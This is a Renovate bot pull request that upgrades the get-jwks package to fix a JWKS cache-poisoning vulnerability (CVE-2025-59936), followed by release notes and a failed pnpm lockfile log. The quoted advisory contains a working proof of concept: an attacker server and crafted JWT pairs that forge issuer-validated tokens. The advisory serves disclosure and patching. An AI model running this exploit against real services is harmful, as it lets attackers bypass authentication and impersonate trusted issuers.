Skip to content

Update dependency get-jwks to v11 [SECURITY] - #62

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-get-jwks-vulnerability
Open

Update dependency get-jwks to v11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-get-jwks-vulnerability

Conversation

@renovate

@renovate renovate Bot commented May 8, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
get-jwks ^8.0.3 → ^11.0.0 age confidence

get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass

CVE-2025-59936 / GHSA-qc2q-qhf3-235m

More information

Details

Summary

A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.

Details

When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.

The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.

PoC

Server code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://example.com',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Exploit server that generates the JWT pair and send the public RSA key to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;

const { publicKey, privateKey } = generateKeyPairSync("rsa",
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

The first JWT token will create a cache entry with the chosen public key and have the following format:

RS256:testkid:http://localhost:3001/?:https://example.com

The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:

RS256:testkid:http://localhost:3001/?:https://example.com

Impact

Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.

Solution

Escape each component used in the cache key, so delimiter collisions are impossible.

https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

Severity

  • CVSS Score: 9.4 / 10 (Critical)
  • Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

nearform/get-jwks (get-jwks)

v11.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/get-jwks@v11.0.1...v11.0.2

v11.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/get-jwks@v11.0.0...v11.0.1

v11.0.0

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/get-jwks@v10.0.0...v11.0.0

v10.0.0

Compare Source

Breaking Changes

This version supports only Node.js 20+

What's Changed

Full Changelog: nearform/get-jwks@v9.0.2...v10.0.0

v9.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/get-jwks@v9.0.1...v9.0.2

v9.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/get-jwks@v9.0.0...v9.0.1

v9.0.0

Compare Source

What's Changed

New Contributors

Full Changelog: nearform/get-jwks@v8.3.1...v9.0.0

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented May 8, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml
Scope: all 3 workspace projects
 WARN  GET https://registry.npmjs.org/get-jwks error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/snazzy/-/snazzy-9.0.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/standard/-/standard-17.1.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/auth0/-/auth0-3.7.2.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/commist/-/commist-3.2.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/console-table-printer/-/console-table-printer-2.11.2.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/desm/-/desm-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/dotenv/-/dotenv-16.3.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/es-main/-/es-main-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/fast-jwt/-/fast-jwt-3.3.2.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-4.0.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/help-me/-/help-me-5.0.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/semver/-/semver-7.5.4.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/undici/-/undici-6.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/get-jwks error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/snazzy/-/snazzy-9.0.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/standard/-/standard-17.1.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/auth0/-/auth0-3.7.2.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/commist/-/commist-3.2.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/console-table-printer/-/console-table-printer-2.11.2.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/desm/-/desm-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/dotenv/-/dotenv-16.3.1.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/es-main/-/es-main-1.3.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/fast-jwt/-/fast-jwt-3.3.2.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-4.0.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/help-me/-/help-me-5.0.0.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/semver/-/semver-7.5.4.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/undici/-/undici-6.0.1.tgz error (ERR_INVALID_THIS). Will retry in 1 minute. 1 retries left.
 WARN  GET https://registry.npmjs.org/@testing-library/react-hooks/-/react-hooks-8.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 ERR_INVALID_THIS  Value of "this" must be of type URLSearchParams

pnpm [ERR_INVALID_THIS]: Value of "this" must be of type URLSearchParams
    at Proxy.getAll (node:internal/url:554:13)
    at Proxy.<anonymous> (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60554:55)
    at /opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60616:31
    at Array.reduce (<anonymous>)
    at Proxy.raw (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60615:33)
    at new Headers (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60500:28)
    at getNodeRequestOptions (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60849:23)
    at /opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60906:25
    at new Promise (<anonymous>)
    at fetch (/opt/containerbase/tools/pnpm/7.32.0/24.19.0/node_modules/pnpm/dist/pnpm.cjs:60904:14)
 WARN  GET https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.2.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/jsdom/-/jsdom-23.0.1.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/vite/-/vite-5.0.10.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/vitest/-/vitest-1.1.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/@auth0/auth0-react/-/auth0-react-2.2.4.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-1.1.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/react/-/react-18.2.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.
 WARN  GET https://registry.npmjs.org/@testing-library/react/-/react-14.1.2.tgz error (ERR_INVALID_THIS). Will retry in 10 seconds. 2 retries left.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants